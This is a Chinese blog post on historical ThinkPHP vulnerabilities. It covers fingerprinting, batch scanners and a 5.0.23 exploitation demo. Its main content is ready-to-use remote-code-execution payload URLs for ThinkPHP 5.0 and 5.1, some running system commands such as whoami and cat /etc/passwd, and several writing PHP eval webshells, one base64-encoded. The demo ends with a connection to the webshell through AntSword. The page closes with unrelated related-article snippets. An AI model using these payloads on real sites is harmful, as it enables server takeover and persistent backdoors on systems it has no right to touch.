常见历史漏洞之Thinkphp

常见历史漏洞之Thinkphp

  • 一、介绍
  • 二、Thinkphp历史漏洞
  • 三、Thinkphp特征发现
  • 四、批量漏洞检测
  • 五、漏洞总结
  • 六、5.0.23版本案例演示

一、介绍

Thinkphp是一种开源框架。是一个由国人开发的支持windows/Unix/Linux等服务器环境的轻量级PHP开发框架。很多cms就是基于thinkphp二次开发的,所以thinkphp出问题的话,会影响很多基于thinkphp开发的网站。

二、Thinkphp历史漏洞

  • ThinkPHP3.2.3_缓存函数设计缺陷可导致Getshell
  • ThinkPHP5_SQL注入漏洞&&敏感信息泄露
  • ThinkPHP3.2.3_最新版update注入漏洞
  • ThinkPHP5.0.10缓存函数设计缺陷可导致Getshell
  • ThinkPHP3.2.X_find_select_delete注入
  • ThinkPHP框架5.0.X_sql注入漏洞分析
  • ThinkPHP3.X_order_by注入漏洞
  • ThinkPHP5.X_order_by注入漏洞
  • ThinkPHP5.X_远程代码执行

三、Thinkphp特征发现

  • 默认页面
    在这里插入图片描述

  • 错误页面

    • 开启了debug模式的错误页面:
      在这里插入图片描述

在这里插入图片描述

- 未开启debug模式的错误页面:

在这里插入图片描述

四、批量漏洞检测

  • https://github.com/Lucifer1993/TPscan
python TPscan.py

在这里插入图片描述
在这里插入图片描述

  • https://github.com/theLSA/tp5-getshell
python2.7 tp5-getshell.py -u http://192.168.9.148:8080/

在这里插入图片描述
在这里插入图片描述

  • 说明漏洞存在,可以进行漏洞利用。
  • 使用ThinkphpGUI-1.2-SNAPSHOT进行漏洞扫描和命令执行。

在这里插入图片描述

  • 切换版本,进行命令执行。

在这里插入图片描述
在这里插入图片描述

五、漏洞总结

  • Thinkphp3 漏洞总结:https://y4er.com/post/thinkphp3-vuln/

在这里插入图片描述

  • Thinkphp5 RCE总结:https://y4er.com/post/thinkphp5-rce/

在这里插入图片描述

  • 5.0.* 常用PoC
#执行命令
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1#写入Webshell
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=file_put_contents&vars[1][]=shell.php&vars[1][]=<?php @eval($_POST[ccc]);?>/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo -n YWFhPD9waHAgQGFzc2VydCgkX1BPU1RbJ3hzcyddKTs/PmJiYg== | base64 -d > shell9.php
  • 5.1.* 常用PoC
#执行命令
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=whoami
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=/index/\think\request/cache&key=1|phpinfo#写入Webshell
/index.php?s=index/\think\Container/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo "<?php @eval($_POST[ccc]);?>" >shell.php
(echo ^<?php @eval($_POST[ccc]);?^>" >shell1.php)/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1]]=whoami
/index.php?s=index/\think\Request/input&filter=phpinfo&data=1
/index.php?s=index/\think\Request/input&filter=system&data=id (dir ls)
/index.php?s=index/\think\template\driver\file/write&cacheFile=shell.php&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\view\driver\Php/display&content=%3C?php%20phpinfo();?%3E
/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

六、5.0.23版本案例演示

在这里插入图片描述
在这里插入图片描述

1、查看。

#查看
/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=cat /etc/passwd

在这里插入图片描述

_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=ls

在这里插入图片描述

2、写入木马文件。

/index.php?s=captcha
_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo "<?php eval(\$_POST['cmd']);?>" > 1.php

在这里插入图片描述

3、写入成功。

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

4、使用蚁剑进行连接。

在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/26196.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【Kubernetes部署篇】基于Ubuntu20.04操作系统搭建K8S1.23版本集群

文章目录 一、集群架构规划信息二、系统初始化准备(所有节点同步操作)三、安装kubeadm(所有节点同步操作)四、初始化K8S集群(master节点操作)五、添加Node节点到K8S集群中六、安装Calico网络插件七、测试CoreDNS可用性 一、集群架构规划信息 pod网段&#xff1a;10.244.0.0/16…

什么是跨链 DeFi?

跨链 DeFi 是指存在于多个不同区块链生态系统之间的金融应用程序生态系统&#xff0c;可以在彼此之间无缝交换数据和通证。 Web3 生态系统已经变得多链化&#xff0c;存在于数百个区块链、二层网络、应用链和其他环境的去中心化应用繁荣发展。虽然多样化的区块链生态系统的推出…

【数据结构】顺序表

大家好&#xff01;今天我们来学习数据结构中的顺序表。 目录 1. 线性表 2. 顺序表 2.1 顺序表的概念 2.2 顺序表的分类 3. 顺序表的定义 4. 顺序表的接口实现 4.1 顺序表的初始化 4.2 销毁顺序表 4.3 打印顺序表 4.4 检查顺序表是否需要扩容 4.5 尾插数据 ​编辑 …

postgresql|数据库|MySQL数据库向postgresql数据库迁移的工具pgloader的部署和初步使用

前言&#xff1a; MySQL数据库和postgresql数据库之间的差异并不多&#xff0c;这里的差异指的是对SQL语言的支持两者并不大&#xff0c;但底层的东西差异是非常多的&#xff0c;例如&#xff0c;MySQL的innodb引擎概念&#xff0c;数据库用户管理&#xff0c;这些和postgresq…

3.2 防火墙

数据参考&#xff1a;CISP官方 目录 防火墙基础概念防火墙的典型技术防火墙企业部署防火墙的局限性 一、防火墙基础概念 防火墙基础概念&#xff1a; 防火墙&#xff08;Firewall&#xff09;一词来源于早期的欧式建筑&#xff0c;它是建筑物之间的一道矮墙&#xff0c;用…

static关键字

作者简介&#xff1a; zoro-1&#xff0c;目前大一&#xff0c;正在学习Java&#xff0c;数据结构等 作者主页&#xff1a; zoro-1的主页 欢迎大家点赞 &#x1f44d; 收藏 ⭐ 加关注哦&#xff01;&#x1f496;&#x1f496; 被static修饰意味什么 在Java中&#xff0c;被st…

STM32 CubeMX USB_(HID 鼠标和键盘)

STM32 CubeMX STM32 CubeMX USB_HID&#xff08;HID 鼠标和键盘&#xff09; STM32 CubeMX前言 《鼠标》一、STM32 CubeMX 设置USB时钟设置USB使能UBS功能选择 二、代码部分添加代码鼠标发送给PC的数据解析实验效果 《键盘》STM32 CubeMX 设置&#xff08;同上&#xff09;代码…

239. 滑动窗口最大值

1 问题描述 2 思路 为了每次元素进出的时候&#xff0c;我们都可以得到该窗口内的最大元素&#xff0c;我们需要自己定义一种队列里面包含方法可以获取最大值怎么才能获取队列里的最大值呢&#xff1f;在队列里排序也可以&#xff0c;这里我们采用单调队列&#xff1a;该队列…

innovus gui界面文字大小和对话框大小调整

我正在「拾陆楼」和朋友们讨论有趣的话题&#xff0c;你⼀起来吧&#xff1f;拾陆楼知识星球入口 uiApp::setfont -dialog

【Docker】Docker容器化技术基础

Docker容器化技术 Docker&#xff08;软件跨环境迁移&#xff09;Docker概念&#xff1a;安装Dockerdocker架构配置Docker镜像加速器 一、Docker命令服务daemon相关的命令镜像相关命令Docker容器相关命令 二、Docker容器的数据卷数据卷概念配置数据卷配置数据卷容器 三、Docker…

Windows系统下添加了新环境变量无需重启电脑激活新环境变量的方法

首先WinR&#xff0c;再输入cmd&#xff0c;进入终端&#xff0c;输入以下命令&#xff1a; set Pathc输入完以上命令回车&#xff0c;如下&#xff1a; 关闭终端后再次打开输入cl&#xff0c;如果输出以下类似信息说明新的环境变量已经添加成功&#xff0c;如下&#xff1a; …

了解HTTP代理日志:解读请求流量和响应信息

嗨&#xff0c;爬虫程序员们&#xff01;你们是否在了解爬虫发送的请求流量和接收的响应信息上有过困扰&#xff1f;今天&#xff0c;我们一起来了解一下。 首先&#xff0c;我们需要理解HTTP代理日志的基本结构和内容。HTTP代理日志是对爬虫发送的请求和接收的响应进行记录的文…

C语言假期作业 DAY 15

一、选择题 1、有如下代码&#xff0c;则 *(p[0]1) 所代表的数组元素是&#xff08; &#xff09; int a[3][2] {1, 2, 3, 4, 5, 6}, *p[3]; p[0] a[1]; A: a[0][1] B: a[1][0] C: a[1][1] D: a[1][2] 答案解析 正确答案&#xff1a; C p 是一个指针数组&#xff0c; p[0] a…

SSM项目-博客系统

在线体验项目&#xff1a;登陆页面 项目连接&#xff1a;huhublog_ssm: 个人博客系统 技术栈&#xff1a;SpringBoot、SpringMVC、Mybatis、Redis、JQuery、Ajax、Json (gitee.com) 1.项目技术点分析 SpringBoot、SpringWeb(SpringMVC)、MyBatis、MySQL(8.x)、Redis(存储验…

kubernetes 集群利用 efk 收集容器日志

文章目录 [toc]前情提要制作 centos 基础镜像准备 efk 二进制文件部署 efk 组件配置 namespace配置 gfs 的 endpoints配置 pv 和 pvc部署 elasticsearchefk-cmefk-svcefk-sts 部署 filebeatfilebeat-cmfilebeat-ds 部署 kibanakibana-cmkibana-svckibana-dp使用 nodeport 访问 …

CAPL - XML和TestModule结合实现测试项可选

目录 目的:是否想实现如下面的功能呢? 一、.can和.cin文件中函数开发

Java Selenium WebDriver 网页填报

一、windows环境安装配置 1.安装chrome浏览器 在“关于chrome”界面&#xff0c;查看浏览器版本号 2.下载chromeDriver 在https://registry.npmmirror.com/binary.html?pathchromedriver/下载对应版本的驱动&#xff08;如果浏览器版本过新&#xff0c;建议下载最接近的版…

STM32基础入门学习笔记:内部高级功能应用

文章目录&#xff1a; 一&#xff1a;低功耗模式 1.睡眠模式测试程序 NVIC.h NVIC.c key.h key.c main.c 2.停机模式测试程序 main.c 3.待机模式测试程序 main.c 二&#xff1a;看门狗 1.独立看门狗测试程序 iwdg.h iwdg.c main.c 2.窗口看门狗测试程序 wwdg…

Linux网络服务之部署yum仓库

yum &#xff1f; yum ! 一、YUM概述1.1 yum简介1.2 yum工作原理 二、yum 配置文件2.1 yum主配置文件2.2 yum仓库设置文件2.2.1 配置文件主要格式2.2.2 软件仓库的提供方式2.2.3 日志文件 三、yum命令详解3.1 安装和升级3.2 查询3.2.1 显示可用的安装包 ----- yum list3.2.2 显…

Python程序设计基础:函数(一)

文章目录 一、函数的基本概念二、函数的定义和使用1、函数的定义与调用2、函数的参数3、返回多个值 一、函数的基本概念 在使用Python实现某些复杂的功能的时候&#xff0c;容易遇到一些重复率较高的代码&#xff0c;为了代码能够重复使用并提升代码的整洁度&#xff0c;函数这…